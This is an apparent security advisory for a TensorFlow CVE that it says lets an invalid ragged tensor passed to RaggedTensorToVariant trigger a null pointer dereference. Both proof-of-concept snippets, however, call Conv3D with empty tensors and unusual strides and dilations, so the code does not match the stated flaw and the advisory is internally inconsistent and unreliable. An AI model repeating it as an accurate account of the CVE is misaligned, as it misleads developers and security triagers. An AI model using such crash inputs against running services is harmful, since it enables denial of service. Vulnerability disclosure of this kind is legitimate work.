CVE-2021-29516: Null pointer dereference via invalid Ragged Tensors

May 21, 2021 (updated October 28, 2024)

Calling tf.raw_ops.RaggedTensorToVariant with arguments specifying an invalid ragged tensor results in a null pointer dereference:

import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)

tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 56, 56, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 23, 1])
import tensorflow as tf

input_tensor = tf.constant([], shape=[2, 2, 2, 2, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 2, 6, 2], dtype=tf.float32)

tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 39, 34, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])
